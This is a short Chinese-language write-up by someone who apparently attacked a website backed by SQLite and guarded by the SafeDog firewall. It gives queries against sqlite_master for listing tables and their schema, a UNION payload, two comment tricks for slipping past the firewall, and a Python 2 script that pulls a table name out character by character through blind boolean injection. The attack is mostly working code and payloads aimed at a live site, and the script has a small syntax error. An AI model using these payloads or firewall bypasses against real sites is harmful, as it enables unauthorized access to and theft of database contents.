Sqlite注入測試

測試了一個網站是Sqlite資料庫，還裝有安全狗，繞過了防護，找到Payload，寫了一個Python腳本來跑表，這裡總結一下：

取得sqlite資料庫裡所有的表名

查詢table，type 段是'table'，name段是table的名字,

so: select name from sqlite_master where type='table' order by name;

查詢一條記錄：select name from sqlite_master where type='table' order by name limit 0,1 

sqlite_version(*) 傳回SQLite的版本

與MySQL5.x類似的,Sqlite存在與information_schema類似的⼀一個表,預設并不顯示,名為sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,⽐較有價值的是sql字段

union select 1,sql,2,3 from sqlite_master

繞過安全狗簡單的兩個方法：

/*'+'*/   

/**a*/

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import urllib
import urllib2

payloads = '0123456789@_.abcdefghijklmnopqrstuvwxyz'

header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
values={}
print 'Start to retrive user:'
user= ''

for i in range(1, 15):
    for payload in payloads
        values['fromCity']="xxx'/**a*/and/**a*/"+"substr((select name from sqlite_master where type='table' order by name limit 0,1),%s,1)='%s'--" %(i,str(payload))
        
        data = urllib.urlencode(values)
        url = "http://www.xxxx.com/xxxx.aspx"
        geturl = url+'?'+data
        request = urllib2.Request(geturl,headers=header)
        response = urllib2.urlopen(request,timeout=5)

        result=response.read()
        print '.',
        if result.count('HO1110')>0:
            user += payload
            print '\n\n[in progress]', user,
            break
            
print '\n\n[Done]  user is %s' % user      

參考文章：

PHP/Sqlite下常見漏洞淺析：http://www.2cto.com/Article/201410/342032.html